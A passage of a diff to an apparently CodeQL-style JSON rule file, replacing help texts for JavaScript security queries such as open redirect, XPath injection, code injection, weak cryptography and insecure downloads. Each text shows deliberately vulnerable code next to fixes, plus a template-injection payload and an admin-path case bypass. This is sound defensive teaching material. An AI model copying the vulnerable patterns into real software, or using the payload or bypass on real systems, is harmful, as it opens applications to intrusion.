be validated in some other way, for example, by verifying that the target URL is on the same host as the current page.\n\n\n## Example\nThe following example shows an HTTP request parameter being used directly in a URL redirect without validating the input, which facilitates phishing attacks:\n\n\n```javascript\nconst app = require(\"express\")();\n\napp.get(\"/redirect\", function (req, res) {\n // BAD: a request parameter is incorporated without validation into a URL redirect\n res.redirect(req.query[\"target\"]);\n});\n\n```\nOne way to remedy the problem is to validate the user input against a known fixed string before doing the redirection:\n\n\n```javascript\nconst app = require(\"express\")();\n\nconst VALID_REDIRECT = \"http://cwe.mitre.org/data/definitions/601.html\";\n\napp.get(\"/redirect\", function (req, res) {\n // GOOD: the request parameter is validated against a known fixed string\n let target = req.query[\"target\"];\n if (VALID_REDIRECT === target) {\n res.redirect(target);\n } else {\n res.redirect(\"/\");\n }\n});\n\n```\nAlternatively, we can check that the target URL does not redirect to a different host by parsing it relative to a base URL with a known host and verifying that the host stays the same:\n\n\n```javascript\nconst app = require(\"express\")();\n\nfunction isLocalUrl(path) {\n try {\n return (\n // TODO: consider substituting your own domain for example.com\n new URL(path, \"https://example.com\").origin === \"https://example.com\"\n );\n } catch (e) {\n return false;\n }\n}\n\napp.get(\"/redirect\", function (req, res) {\n // GOOD: check that we don't redirect to a different host\n let target = req.query[\"target\"];\n if (isLocalUrl(target)) {\n res.redirect(target);\n } else {\n res.redirect(\"/\");\n }\n});\n\n```\nNote that as written, the above code will allow redirects to URLs on `example.com`, which is harmless but perhaps not intended. You can substitute your own domain (if known) for `example.com` to prevent this.\n\n\n## References\n* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html).\n" - }, - "properties" : { - "tags" : [ "security", "external/cwe/cwe-601" ], - "description" : "Server-side URL redirection based on unvalidated user input\n may cause redirection to malicious web sites.", - "id" : "js/server-side-unvalidated-url-redirection", - "kind" : "path-problem", - "name" : "Server-side URL redirect", - "precision" : "high", - "problem.severity" : "warning", - "security-severity" : "6.1" - } - }, { - "id" : "js/client-side-unvalidated-url-redirection", - "name" : "js/client-side-unvalidated-url-redirection", - "shortDescription" : { - "text" : "Client-side URL redirect" - }, - "fullDescription" : { - "text" : "Client-side URL redirection based on unvalidated user input may cause redirection to malicious web sites." - }, - "defaultConfiguration" : { - "enabled" : true, - "level" : "error" - }, - "help" : { - "text" : "# Client-side URL redirect\nRedirecting to a URL that is constructed from parts of the DOM that may be controlled by an attacker can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker.\n\n\n## Recommendation\nTo guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided.\n\n\n## Example\nThe following example uses a regular expression to extract a query parameter from the document URL, and then uses it to construct a new URL to redirect to without any further validation. This may allow an attacker to craft a link that redirects from a trusted website to some arbitrary website of their choosing, which facilitates phishing attacks:\n\n\n```javascript\nwindow.location = /.*redirect=([^&]*).*/.exec(document.location.href)[1];\n\n```\n\n## References\n* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html).\n", - "markdown" : "# Client-side URL redirect\nRedirecting to a URL that is constructed from parts of the DOM that may be controlled by an attacker can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker.\n\n\n## Recommendation\nTo guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided.\n\n\n## Example\nThe following example uses a regular expression to extract a query parameter from the document URL, and then uses it to construct a new URL to redirect to without any further validation. This may allow an attacker to craft a link that redirects from a trusted website to some arbitrary website of their choosing, which facilitates phishing attacks:\n\n\n```javascript\nwindow.location = /.*redirect=([^&]*).*/.exec(document.location.href)[1];\n\n```\n\n## References\n* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html).\n" + "text" : "# Inclusion of functionality from an untrusted source\nIncluding a resource from an untrusted source or using an untrusted channel may allow an attacker to include arbitrary code in the response. When including an external resource (for example, a `script` element or an `iframe` element) on a page, it is important to ensure that the received data is not malicious.\n\nWhen including external resources, it is possible to verify that the responding server is the intended one by using an `https` URL. This prevents a MITM (man-in-the-middle) attack where an attacker might have been able to spoof a server response.\n\nEven when `https` is used, an attacker might still compromise the server. When you use a `script` element, you can check for subresource integrity - that is, you can check the contents of the data received by supplying a cryptographic digest of the expected sources to the `script` element. The script will only load sources that match the digest and an attacker will be unable to modify the script even when the server is compromised.\n\nSubresource integrity checking is commonly recommended when importing a fixed version of a library - for example, from a CDN (content-delivery network). Then, the fixed digest of that version of the library can easily be added to the `script` element's `integrity` attribute.\n\n\n## Recommendation\nWhen an `iframe` element is used to embed a page, it is important to use an `https` URL.\n\nWhen using a `script` element to load a script, it is important to use an `https` URL and to consider checking subresource integrity.\n\n\n## Example\nThe following example loads the jQuery library from the jQuery CDN without using `https` and without checking subresource integrity.\n\n\n```html\n\n \n jQuery demo\n \n \n \n ...\n \n\n```\nInstead, loading jQuery from the same domain using `https` and checking subresource integrity is recommended, as in the next example.\n\n\n```html\n\n \n jQuery demo\n \n \n \n ...\n \n\n```\n\n## References\n* MDN: [Subresource Integrity](https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity)\n* Smashing Magazine: [Understanding Subresource Integrity](https://www.smashingmagazine.com/2019/04/understanding-subresource-integrity/)\n* Common Weakness Enumeration: [CWE-830](https://cwe.mitre.org/data/definitions/830.html).\n", + "markdown" : "# Inclusion of functionality from an untrusted source\nIncluding a resource from an untrusted source or using an untrusted channel may allow an attacker to include arbitrary code in the response. When including an external resource (for example, a `script` element or an `iframe` element) on a page, it is important to ensure that the received data is not malicious.\n\nWhen including external resources, it is possible to verify that the responding server is the intended one by using an `https` URL. This prevents a MITM (man-in-the-middle) attack where an attacker might have been able to spoof a server response.\n\nEven when `https` is used, an attacker might still compromise the server. When you use a `script` element, you can check for subresource integrity - that is, you can check the contents of the data received by supplying a cryptographic digest of the expected sources to the `script` element. The script will only load sources that match the digest and an attacker will be unable to modify the script even when the server is compromised.\n\nSubresource integrity checking is commonly recommended when importing a fixed version of a library - for example, from a CDN (content-delivery network). Then, the fixed digest of that version of the library can easily be added to the `script` element's `integrity` attribute.\n\n\n## Recommendation\nWhen an `iframe` element is used to embed a page, it is important to use an `https` URL.\n\nWhen using a `script` element to load a script, it is important to use an `https` URL and to consider checking subresource integrity.\n\n\n## Example\nThe following example loads the jQuery library from the jQuery CDN without using `https` and without checking subresource integrity.\n\n\n```html\n\n \n jQuery demo\n \n \n \n ...\n \n\n```\nInstead, loading jQuery from the same domain using `https` and checking subresource integrity is recommended, as in the next example.\n\n\n```html\n\n \n jQuery demo\n \n \n \n ...\n \n\n```\n\n## References\n* MDN: [Subresource Integrity](https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity)\n* Smashing Magazine: [Understanding Subresource Integrity](https://www.smashingmagazine.com/2019/04/understanding-subresource-integrity/)\n* Common Weakness Enumeration: [CWE-830](https://cwe.mitre.org/data/definitions/830.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-079", "external/cwe/cwe-116", "external/cwe/cwe-601" ], - "description" : "Client-side URL redirection based on unvalidated user input\n may cause redirection to malicious web sites.", - "id" : "js/client-side-unvalidated-url-redirection", - "kind" : "path-problem", - "name" : "Client-side URL redirect", + "tags" : [ "security", "external/cwe/cwe-830" ], + "description" : "Including functionality from an untrusted source may allow\n an attacker to control the functionality and execute arbitrary code.", + "id" : "js/functionality-from-untrusted-source", + "kind" : "problem", + "name" : "Inclusion of functionality from an untrusted source", "precision" : "high", - "problem.severity" : "error", - "security-severity" : "6.1" + "problem.severity" : "warning", + "security-severity" : "6.0" } }, { - "id" : "js/xpath-injection", - "name" : "js/xpath-injection", + "id" : "js/weak-cryptographic-algorithm", + "name" : "js/weak-cryptographic-algorithm", "shortDescription" : { - "text" : "XPath injection" + "text" : "Use of a broken or weak cryptographic algorithm" }, "fullDescription" : { - "text" : "Building an XPath expression from user-controlled sources is vulnerable to insertion of malicious code by the user." + "text" : "Using broken or weak cryptographic algorithms can compromise security." }, "defaultConfiguration" : { "enabled" : true, - "level" : "error" + "level" : "warning" }, "help" : { - "text" : "# XPath injection\nIf an XPath expression is built using string concatenation, and the components of the concatenation include user input, it makes it very easy for a user to create a malicious XPath expression.\n\n\n## Recommendation\nIf user input must be included in an XPath expression, either sanitize the data or use variable references to safely embed it without altering the structure of the expression.\n\n\n## Example\nIn this example, the code accepts a user name specified by the user, and uses this unvalidated and unsanitized value in an XPath expression constructed using the `xpath` package. This is vulnerable to the user providing special characters or string sequences that change the meaning of the XPath expression to search for different values.\n\n\n```javascript\nconst express = require('express');\nconst xpath = require('xpath');\nconst app = express();\n\napp.get('/some/route', function(req, res) {\n let userName = req.param(\"userName\");\n\n // BAD: Use user-provided data directly in an XPath expression\n let badXPathExpr = xpath.parse(\"//users/user[login/text()='\" + userName + \"']/home_dir/text()\");\n badXPathExpr.select({\n node: root\n });\n});\n\n```\nInstead, embed the user input using the variable replacement mechanism offered by `xpath`:\n\n\n```javascript\nconst express = require('express');\nconst xpath = require('xpath');\nconst app = express();\n\napp.get('/some/route', function(req, res) {\n let userName = req.param(\"userName\");\n\n // GOOD: Embed user-provided data using variables\n let goodXPathExpr = xpath.parse(\"//users/user[login/text()=$userName]/home_dir/text()\");\n goodXPathExpr.select({\n node: root,\n variables: { userName: userName }\n });\n});\n\n```\n\n## References\n* OWASP: [Testing for XPath Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/09-Testing_for_XPath_Injection).\n* OWASP: [XPath Injection](https://www.owasp.org/index.php/XPATH_Injection).\n* npm: [xpath](https://www.npmjs.com/package/xpath).\n* Common Weakness Enumeration: [CWE-643](https://cwe.mitre.org/data/definitions/643.html).\n", - "markdown" : "# XPath injection\nIf an XPath expression is built using string concatenation, and the components of the concatenation include user input, it makes it very easy for a user to create a malicious XPath expression.\n\n\n## Recommendation\nIf user input must be included in an XPath expression, either sanitize the data or use variable references to safely embed it without altering the structure of the expression.\n\n\n## Example\nIn this example, the code accepts a user name specified by the user, and uses this unvalidated and unsanitized value in an XPath expression constructed using the `xpath` package. This is vulnerable to the user providing special characters or string sequences that change the meaning of the XPath expression to search for different values.\n\n\n```javascript\nconst express = require('express');\nconst xpath = require('xpath');\nconst app = express();\n\napp.get('/some/route', function(req, res) {\n let userName = req.param(\"userName\");\n\n // BAD: Use user-provided data directly in an XPath expression\n let badXPathExpr = xpath.parse(\"//users/user[login/text()='\" + userName + \"']/home_dir/text()\");\n badXPathExpr.select({\n node: root\n });\n});\n\n```\nInstead, embed the user input using the variable replacement mechanism offered by `xpath`:\n\n\n```javascript\nconst express = require('express');\nconst xpath = require('xpath');\nconst app = express();\n\napp.get('/some/route', function(req, res) {\n let userName = req.param(\"userName\");\n\n // GOOD: Embed user-provided data using variables\n let goodXPathExpr = xpath.parse(\"//users/user[login/text()=$userName]/home_dir/text()\");\n goodXPathExpr.select({\n node: root,\n variables: { userName: userName }\n });\n});\n\n```\n\n## References\n* OWASP: [Testing for XPath Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/09-Testing_for_XPath_Injection).\n* OWASP: [XPath Injection](https://www.owasp.org/index.php/XPATH_Injection).\n* npm: [xpath](https://www.npmjs.com/package/xpath).\n* Common Weakness Enumeration: [CWE-643](https://cwe.mitre.org/data/definitions/643.html).\n" + "text" : "# Use of a broken or weak cryptographic algorithm\nUsing broken or weak cryptographic algorithms can leave data vulnerable to being decrypted or forged by an attacker.\n\nMany cryptographic algorithms provided by cryptography libraries are known to be weak, or flawed. Using such an algorithm means that encrypted or hashed data is less secure than it appears to be.\n\n\n## Recommendation\nEnsure that you use a strong, modern cryptographic algorithm. Use at least AES-128 or RSA-2048 for encryption, and SHA-2 or SHA-3 for secure hashing.\n\n\n## Example\nThe following code shows an example of using the builtin cryptographic library of NodeJS to encrypt some secret data. When creating a `Cipher` instance to encrypt the secret data with, you must specify the encryption algorithm to use. The first example uses DES, which is an older algorithm that is now considered weak. The second example uses AES, which is a strong modern algorithm.\n\n\n```javascript\nconst crypto = require('crypto');\n\nvar secretText = obj.getSecretText();\n\nconst desCipher = crypto.createCipher('des', key);\nlet desEncrypted = desCipher.write(secretText, 'utf8', 'hex'); // BAD: weak encryption\n\nconst aesCipher = crypto.createCipher('aes-128', key);\nlet aesEncrypted = aesCipher.update(secretText, 'utf8', 'hex'); // GOOD: strong encryption\n\n```\n\n## References\n* NIST, FIPS 140 Annex a: [ Approved Security Functions](http://csrc.nist.gov/publications/fips/fips140-2/fips1402annexa.pdf).\n* NIST, SP 800-131A: [ Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf).\n* OWASP: [Rule - Use strong approved cryptographic algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#rule---use-strong-approved-authenticated-encryption).\n* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html).\n* Common Weakness Enumeration: [CWE-328](https://cwe.mitre.org/data/definitions/328.html).\n", + "markdown" : "# Use of a broken or weak cryptographic algorithm\nUsing broken or weak cryptographic algorithms can leave data vulnerable to being decrypted or forged by an attacker.\n\nMany cryptographic algorithms provided by cryptography libraries are known to be weak, or flawed. Using such an algorithm means that encrypted or hashed data is less secure than it appears to be.\n\n\n## Recommendation\nEnsure that you use a strong, modern cryptographic algorithm. Use at least AES-128 or RSA-2048 for encryption, and SHA-2 or SHA-3 for secure hashing.\n\n\n## Example\nThe following code shows an example of using the builtin cryptographic library of NodeJS to encrypt some secret data. When creating a `Cipher` instance to encrypt the secret data with, you must specify the encryption algorithm to use. The first example uses DES, which is an older algorithm that is now considered weak. The second example uses AES, which is a strong modern algorithm.\n\n\n```javascript\nconst crypto = require('crypto');\n\nvar secretText = obj.getSecretText();\n\nconst desCipher = crypto.createCipher('des', key);\nlet desEncrypted = desCipher.write(secretText, 'utf8', 'hex'); // BAD: weak encryption\n\nconst aesCipher = crypto.createCipher('aes-128', key);\nlet aesEncrypted = aesCipher.update(secretText, 'utf8', 'hex'); // GOOD: strong encryption\n\n```\n\n## References\n* NIST, FIPS 140 Annex a: [ Approved Security Functions](http://csrc.nist.gov/publications/fips/fips140-2/fips1402annexa.pdf).\n* NIST, SP 800-131A: [ Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf).\n* OWASP: [Rule - Use strong approved cryptographic algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#rule---use-strong-approved-authenticated-encryption).\n* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html).\n* Common Weakness Enumeration: [CWE-328](https://cwe.mitre.org/data/definitions/328.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-643" ], - "description" : "Building an XPath expression from user-controlled sources is vulnerable to insertion of\n malicious code by the user.", - "id" : "js/xpath-injection", + "tags" : [ "security", "external/cwe/cwe-327", "external/cwe/cwe-328" ], + "description" : "Using broken or weak cryptographic algorithms can compromise security.", + "id" : "js/weak-cryptographic-algorithm", "kind" : "path-problem", - "name" : "XPath injection", + "name" : "Use of a broken or weak cryptographic algorithm", "precision" : "high", - "problem.severity" : "error", - "security-severity" : "9.8" + "problem.severity" : "warning", + "security-severity" : "7.5" } }, { - "id" : "js/case-sensitive-middleware-path", - "name" : "js/case-sensitive-middleware-path", + "id" : "js/biased-cryptographic-random", + "name" : "js/biased-cryptographic-random", "shortDescription" : { - "text" : "Case-sensitive middleware path" + "text" : "Creating biased random numbers from a cryptographically secure source" }, "fullDescription" : { - "text" : "Middleware with case-sensitive paths do not protect endpoints with case-insensitive paths." + "text" : "Some mathematical operations on random numbers can cause bias in the results and compromise security." }, "defaultConfiguration" : { "enabled" : true, "level" : "warning" }, "help" : { - "text" : "# Case-sensitive middleware path\nUsing a case-sensitive regular expression path in a middleware route enables an attacker to bypass that middleware when accessing an endpoint with a case-insensitive path. Paths specified using a string are case-insensitive, whereas regular expressions are case-sensitive by default.\n\n\n## Recommendation\nWhen using a regular expression as a middleware path, make sure the regular expression is case-insensitive by adding the `i` flag.\n\n\n## Example\nThe following example restricts access to paths in the `/admin` path to users logged in as administrators:\n\n\n```javascript\nconst app = require('express')();\n\napp.use(/\\/admin\\/.*/, (req, res, next) => {\n if (!req.user.isAdmin) {\n res.status(401).send('Unauthorized');\n } else {\n next();\n }\n});\n\napp.get('/admin/users/:id', (req, res) => {\n res.send(app.database.users[req.params.id]);\n});\n\n```\nA path such as `/admin/users/45` can only be accessed by an administrator. However, the path `/ADMIN/USERS/45` can be accessed by anyone because the upper-case path doesn't match the case-sensitive regular expression, whereas Express considers it to match the path string `/admin/users`.\n\nThe issue can be fixed by adding the `i` flag to the regular expression:\n\n\n```javascript\nconst app = require('express')();\n\napp.use(/\\/admin\\/.*/i, (req, res, next) => {\n if (!req.user.isAdmin) {\n res.status(401).send('Unauthorized');\n } else {\n next();\n }\n});\n\napp.get('/admin/users/:id', (req, res) => {\n res.send(app.database.users[req.params.id]);\n});\n\n```\n\n## References\n* MDN [Regular Expression Flags](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#advanced_searching_with_flags).\n* Common Weakness Enumeration: [CWE-178](https://cwe.mitre.org/data/definitions/178.html).\n", - "markdown" : "# Case-sensitive middleware path\nUsing a case-sensitive regular expression path in a middleware route enables an attacker to bypass that middleware when accessing an endpoint with a case-insensitive path. Paths specified using a string are case-insensitive, whereas regular expressions are case-sensitive by default.\n\n\n## Recommendation\nWhen using a regular expression as a middleware path, make sure the regular expression is case-insensitive by adding the `i` flag.\n\n\n## Example\nThe following example restricts access to paths in the `/admin` path to users logged in as administrators:\n\n\n```javascript\nconst app = require('express')();\n\napp.use(/\\/admin\\/.*/, (req, res, next) => {\n if (!req.user.isAdmin) {\n res.status(401).send('Unauthorized');\n } else {\n next();\n }\n});\n\napp.get('/admin/users/:id', (req, res) => {\n res.send(app.database.users[req.params.id]);\n});\n\n```\nA path such as `/admin/users/45` can only be accessed by an administrator. However, the path `/ADMIN/USERS/45` can be accessed by anyone because the upper-case path doesn't match the case-sensitive regular expression, whereas Express considers it to match the path string `/admin/users`.\n\nThe issue can be fixed by adding the `i` flag to the regular expression:\n\n\n```javascript\nconst app = require('express')();\n\napp.use(/\\/admin\\/.*/i, (req, res, next) => {\n if (!req.user.isAdmin) {\n res.status(401).send('Unauthorized');\n } else {\n next();\n }\n});\n\napp.get('/admin/users/:id', (req, res) => {\n res.send(app.database.users[req.params.id]);\n});\n\n```\n\n## References\n* MDN [Regular Expression Flags](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#advanced_searching_with_flags).\n* Common Weakness Enumeration: [CWE-178](https://cwe.mitre.org/data/definitions/178.html).\n" + "text" : "# Creating biased random numbers from a cryptographically secure source\nGenerating secure random numbers can be an important part of creating a secure software system. This can be done using APIs that create cryptographically secure random numbers.\n\nHowever, using some mathematical operations on these cryptographically secure random numbers can create biased results, where some outcomes are more likely than others. Such biased results can make it easier for an attacker to guess the random numbers, and thereby break the security of the software system.\n\n\n## Recommendation\nBe very careful not to introduce bias when performing mathematical operations on cryptographically secure random numbers.\n\nIf possible, avoid performing mathematical operations on cryptographically secure random numbers at all, and use a preexisting library instead.\n\n\n## Example\nThe example below uses the modulo operator to create an array of 10 random digits using random bytes as the source for randomness.\n\n\n```javascript\nconst crypto = require('crypto');\n\nconst digits = [];\nfor (let i = 0; i < 10; i++) {\n digits.push(crypto.randomBytes(1)[0] % 10); // NOT OK\n}\n```\nThe random byte is a uniformly random value between 0 and 255, and thus the result from using the modulo operator is slightly more likely to be between 0 and 5 than between 6 and 9.\n\nThe issue has been fixed in the code below by using a library that correctly generates cryptographically secure random values.\n\n\n```javascript\nconst cryptoRandomString = require('crypto-random-string');\n\nconst digits = cryptoRandomString({length: 10, type: 'numeric'});\n```\nAlternatively, the issue can be fixed by fixing the math in the original code. In the code below the random byte is discarded if the value is greater than or equal to 250. Thus the modulo operator is used on a uniformly random number between 0 and 249, which results in a uniformly random digit between 0 and 9.\n\n\n```javascript\nconst crypto = require('crypto');\n\nconst digits = [];\nwhile (digits.length < 10) {\n const byte = crypto.randomBytes(1)[0];\n if (byte >= 250) {\n continue;\n }\n digits.push(byte % 10); // OK\n}\n```\n\n## References\n* Stack Overflow: [Understanding “randomness”](https://stackoverflow.com/questions/3956478/understanding-randomness).\n* OWASP: [Insecure Randomness](https://owasp.org/www-community/vulnerabilities/Insecure_Randomness).\n* OWASP: [Rule - Use strong approved cryptographic algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#rule---use-strong-approved-authenticated-encryption).\n* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html).\n", + "markdown" : "# Creating biased random numbers from a cryptographically secure source\nGenerating secure random numbers can be an important part of creating a secure software system. This can be done using APIs that create cryptographically secure random numbers.\n\nHowever, using some mathematical operations on these cryptographically secure random numbers can create biased results, where some outcomes are more likely than others. Such biased results can make it easier for an attacker to guess the random numbers, and thereby break the security of the software system.\n\n\n## Recommendation\nBe very careful not to introduce bias when performing mathematical operations on cryptographically secure random numbers.\n\nIf possible, avoid performing mathematical operations on cryptographically secure random numbers at all, and use a preexisting library instead.\n\n\n## Example\nThe example below uses the modulo operator to create an array of 10 random digits using random bytes as the source for randomness.\n\n\n```javascript\nconst crypto = require('crypto');\n\nconst digits = [];\nfor (let i = 0; i < 10; i++) {\n digits.push(crypto.randomBytes(1)[0] % 10); // NOT OK\n}\n```\nThe random byte is a uniformly random value between 0 and 255, and thus the result from using the modulo operator is slightly more likely to be between 0 and 5 than between 6 and 9.\n\nThe issue has been fixed in the code below by using a library that correctly generates cryptographically secure random values.\n\n\n```javascript\nconst cryptoRandomString = require('crypto-random-string');\n\nconst digits = cryptoRandomString({length: 10, type: 'numeric'});\n```\nAlternatively, the issue can be fixed by fixing the math in the original code. In the code below the random byte is discarded if the value is greater than or equal to 250. Thus the modulo operator is used on a uniformly random number between 0 and 249, which results in a uniformly random digit between 0 and 9.\n\n\n```javascript\nconst crypto = require('crypto');\n\nconst digits = [];\nwhile (digits.length < 10) {\n const byte = crypto.randomBytes(1)[0];\n if (byte >= 250) {\n continue;\n }\n digits.push(byte % 10); // OK\n}\n```\n\n## References\n* Stack Overflow: [Understanding “randomness”](https://stackoverflow.com/questions/3956478/understanding-randomness).\n* OWASP: [Insecure Randomness](https://owasp.org/www-community/vulnerabilities/Insecure_Randomness).\n* OWASP: [Rule - Use strong approved cryptographic algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#rule---use-strong-approved-authenticated-encryption).\n* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-178" ], - "description" : "Middleware with case-sensitive paths do not protect endpoints with case-insensitive paths.", - "id" : "js/case-sensitive-middleware-path", + "tags" : [ "security", "external/cwe/cwe-327" ], + "description" : "Some mathematical operations on random numbers can cause bias in\n the results and compromise security.", + "id" : "js/biased-cryptographic-random", "kind" : "problem", - "name" : "Case-sensitive middleware path", + "name" : "Creating biased random numbers from a cryptographically secure source", "precision" : "high", "problem.severity" : "warning", - "security-severity" : "7.3" + "security-severity" : "7.5" } }, { - "id" : "js/code-injection", - "name" : "js/code-injection", + "id" : "js/insecure-download", + "name" : "js/insecure-download", "shortDescription" : { - "text" : "Code injection" + "text" : "Download of sensitive file through insecure connection" }, "fullDescription" : { - "text" : "Interpreting unsanitized user input as code allows a malicious user arbitrary code execution." + "text" : "Downloading executables and other sensitive files over an insecure connection opens up for potential man-in-the-middle attacks." }, "defaultConfiguration" : { "enabled" : true, "level" : "error" }, "help" : { - "text" : "# Code injection\nDirectly evaluating user input (for example, an HTTP request parameter) as code without properly sanitizing the input first allows an attacker arbitrary code execution. This can occur when user input is treated as JavaScript, or passed to a framework which interprets it as an expression to be evaluated. Examples include AngularJS expressions or JQuery selectors.\n\n\n## Recommendation\nAvoid including user input in any expression which may be dynamically evaluated. If user input must be included, use context-specific escaping before including it. It is important that the correct escaping is used for the type of evaluation that will occur.\n\n\n## Example\nThe following example shows part of the page URL being evaluated as JavaScript code. This allows an attacker to provide JavaScript within the URL. If an attacker can persuade a user to click on a link to such a URL, the attacker can evaluate arbitrary JavaScript in the browser of the user to, for example, steal cookies containing session information.\n\n\n```javascript\neval(document.location.href.substring(document.location.href.indexOf(\"default=\")+8))\n\n```\nThe following example shows a Pug template being constructed from user input, allowing attackers to run arbitrary code via a payload such as `#{global.process.exit(1)}`.\n\n\n```javascript\nconst express = require('express')\nvar pug = require('pug');\nconst app = express()\n\napp.post('/', (req, res) => {\n var input = req.query.username;\n var template = `\ndoctype\nhtml\nhead\n title= 'Hello world'\nbody\n form(action='/' method='post')\n input#name.form-control(type='text)\n button.btn.btn-primary(type='submit') Submit\n p Hello `+ input\n var fn = pug.compile(template);\n var html = fn();\n res.send(html);\n})\n\n```\nBelow is an example of how to use a template engine without any risk of template injection. The user input is included via an interpolation expression `#{username}` whose value is provided as an option to the template, instead of being part of the template string itself:\n\n\n```javascript\nconst express = require('express')\nvar pug = require('pug');\nconst app = express()\n\napp.post('/', (req, res) => {\n var input = req.query.username;\n var template = `\ndoctype\nhtml\nhead\n title= 'Hello world'\nbody\n form(action='/' method='post')\n input#name.form-control(type='text)\n button.btn.btn-primary(type='submit') Submit\n p Hello #{username}`\n var fn = pug.compile(template);\n var html = fn({username: input});\n res.send(html);\n})\n\n```\n\n## References\n* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection).\n* Wikipedia: [Code Injection](https://en.wikipedia.org/wiki/Code_injection).\n* PortSwigger Research Blog: [Server-Side Template Injection](https://portswigger.net/research/server-side-template-injection).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-95](https://cwe.mitre.org/data/definitions/95.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n", - "markdown" : "# Code injection\nDirectly evaluating user input (for example, an HTTP request parameter) as code without properly sanitizing the input first allows an attacker arbitrary code execution. This can occur when user input is treated as JavaScript, or passed to a framework which interprets it as an expression to be evaluated. Examples include AngularJS expressions or JQuery selectors.\n\n\n## Recommendation\nAvoid including user input in any expression which may be dynamically evaluated. If user input must be included, use context-specific escaping before including it. It is important that the correct escaping is used for the type of evaluation that will occur.\n\n\n## Example\nThe following example shows part of the page URL being evaluated as JavaScript code. This allows an attacker to provide JavaScript within the URL. If an attacker can persuade a user to click on a link to such a URL, the attacker can evaluate arbitrary JavaScript in the browser of the user to, for example, steal cookies containing session information.\n\n\n```javascript\neval(document.location.href.substring(document.location.href.indexOf(\"default=\")+8))\n\n```\nThe following example shows a Pug template being constructed from user input, allowing attackers to run arbitrary code via a payload such as `#{global.process.exit(1)}`.\n\n\n```javascript\nconst express = require('express')\nvar pug = require('pug');\nconst app = express()\n\napp.post('/', (req, res) => {\n var input = req.query.username;\n var template = `\ndoctype\nhtml\nhead\n title= 'Hello world'\nbody\n form(action='/' method='post')\n input#name.form-control(type='text)\n button.btn.btn-primary(type='submit') Submit\n p Hello `+ input\n var fn = pug.compile(template);\n var html = fn();\n res.send(html);\n})\n\n```\nBelow is an example of how to use a template engine without any risk of template injection. The user input is included via an interpolation expression `#{username}` whose value is provided as an option to the template, instead of being part of the template string itself:\n\n\n```javascript\nconst express = require('express')\nvar pug = require('pug');\nconst app = express()\n\napp.post('/', (req, res) => {\n var input = req.query.username;\n var template = `\ndoctype\nhtml\nhead\n title= 'Hello world'\nbody\n form(action='/' method='post')\n input#name.form-control(type='text)\n button.btn.btn-primary(type='submit') Submit\n p Hello #{username}`\n var fn = pug.compile(template);\n var html = fn({username: input});\n res.send(html);\n})\n\n```\n\n## References\n* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection).\n* Wikipedia: [Code Injection](https://en.wikipedia.org/wiki/Code_injection).\n* PortSwigger Research Blog: [Server-Side Template Injection](https://portswigger.net/research/server-side-template-injection).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: 